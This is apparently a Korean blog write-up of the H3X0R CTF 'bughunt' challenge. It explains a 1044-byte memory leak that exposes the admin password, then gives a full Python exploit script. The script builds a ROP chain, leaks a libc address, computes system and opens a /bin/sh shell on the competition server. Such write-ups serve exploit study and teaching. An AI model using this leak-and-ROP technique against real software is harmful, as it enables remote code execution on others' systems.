ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • H3X0R CTF - bughunt
    CTF 2016. 5. 15. 21:08

    이 문제 괜찮았다.


    이 문제를 풀기위해 기본적으로 Memory Leak + Overflow 개념이 있어야한다.


    일단 메인함수를 보면 아래코드부터 시작한다.


    v14 = fopen("/home/bughunt/admin_pw", "r");

      fread(&v6, 1u, 0x14u, v14);

      close((int)v14);

      v10 = 1768776769;

      v11 = 110;

      strcpy((char *)&v12, (const char *)&v6);


    admin으로 로그인하기위한 패스워드가 서버에 저장되어있는데 우린 nc 서버를 받았다.


    어찌 알아내야하냐, 그냥 메모리릭하면되지, 그래서 나는 벡터를찾았다.






    read 함수로 1044바이트를 채우고있다. 풀고나서 H3X0R 페이스북페이지를 봤는데 메모리릭힌트를 올려놨길래 좀 당황했다.. 그럼 다푼거나 마찬가지인데 힌트를 너무많이준듯!


    그냥 일단 널을 만나기직전까지 출력을하겠지 그럼 그냥 풀로 1044바이트 채워넣어주면되겠고..


    def leak():
        leak = "A"*1044
        print recvuntil("****************************")
        s.send("0\n")
        print recvuntil("Name : ")
        s.send("AA\n")
        print recvuntil("Pass : ")
        s.send("AA\n")
        print recvuntil("****************************")
        s.send("1\n")
        print recvuntil("****************************")
        s.send("2\n")
        print recvuntil("What's Your Schedule?")
        s.send(leak + "\n")
        print recvuntil("****************************"

        s.send("4\n")


    릭하는 소스는 이 페이로드를 보면된다.


    그럼 *THIS_IS_NOT_A_FLAG 해당 문자열이 1044바이트 이후로 릭이되어 출력된다. 직접돌려보면 안다.


    자 그럼 이제 어드민 페이지에서 공격을 할수있는데




    write도 있겠다, read 도있겠다 그럼 그냥 rop하면된다.


    libcdb.com을 이용해보았는데 이상하게 라이브러리가 나오지않아 Simple_Test 쉘딴걸 이용해서 /lib/libc.so.6을 objdump 띄워서 libc_system과 libc_read를 알아냈다 ㅎ;;



    내가 보았을떈 머리 좀 잘굴러가는것같다


    from socket import * import struct,time from telnetlib import * HOST = "52.192.43.19" PORT = 50007 p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x) def recvuntil(t): data = '' while not data.endswith(t): tmp = s.recv(1) if not tmp: break data += tmp return data s = socket(AF_INET,SOCK_STREAM) s.connect((HOST,PORT)) def leak(): leak = "A"*1044 print recvuntil("****************************") s.send("0\n") print recvuntil("Name : ") s.send("AA\n") print recvuntil("Pass : ") s.send("AA\n") print recvuntil("****************************") s.send("1\n") print recvuntil("****************************") s.send("2\n") print recvuntil("What's Your Schedule?") s.send(leak + "\n") print recvuntil("****************************") s.send("4\n") password = "*THIS_IS_NOT_A_FLAG" username = "Admin" write_plt = 0x8048470 write_got = 0x8049F14 read_got = 0x8049EFC read_plt = 0x8048410 libc_start = 0x8049F10 pppr = 0x08048A5D binsh = "/bin/sh\x00" bss = 0x08049F28 offset = 0x003e280 payload = "A"*1040 payload += p(read_plt) payload += p(pppr) payload += p(1) payload += p(bss) payload += p(8) payload += p(write_plt) payload += p(pppr) payload += p(1) payload += p(read_got) payload += p(4) payload += p(read_plt) payload += p(pppr) payload += p(1) payload += p(read_got) payload += p(4) payload += p(read_plt) payload += p(0x12345678) payload += p(bss) print recvuntil("****************************") s.send("0\n") time.sleep(0.5) print recvuntil("Name : ") s.send(username + "\n") time.sleep(0.5) print recvuntil("Pass : ") s.send(password + "\n") time.sleep(0.5) print recvuntil("****************************") s.send("1\n") print recvuntil("****************************") time.sleep(0.5) s.send("5\n") print recvuntil("Admin Schedule") time.sleep(0.5) s.send(payload + "\n") print recvuntil("****************************\n") print "Leak Address!" time.sleep(0.5) s.send("6\n") s.send(binsh) leak = up(s.recv(4))[0] print hex(leak) system_addr = leak - 0xe5410 + offset s.send(p(system_addr) + "\n") t = Telnet() t.sock = s t.interact()


    'CTF' 카테고리의 다른 글

    TUCTF woO2  (0) 2016.05.18
    dimictf - pwn250  (0) 2016.05.18
    H3X0R CTF - Simple_Test  (5) 2016.05.15
    SSG CTF 2016 - mg  (0) 2016.04.03
    [SECCON 2015]Exec dmesg  (0) 2015.12.06

    댓글

Designed by Tistory.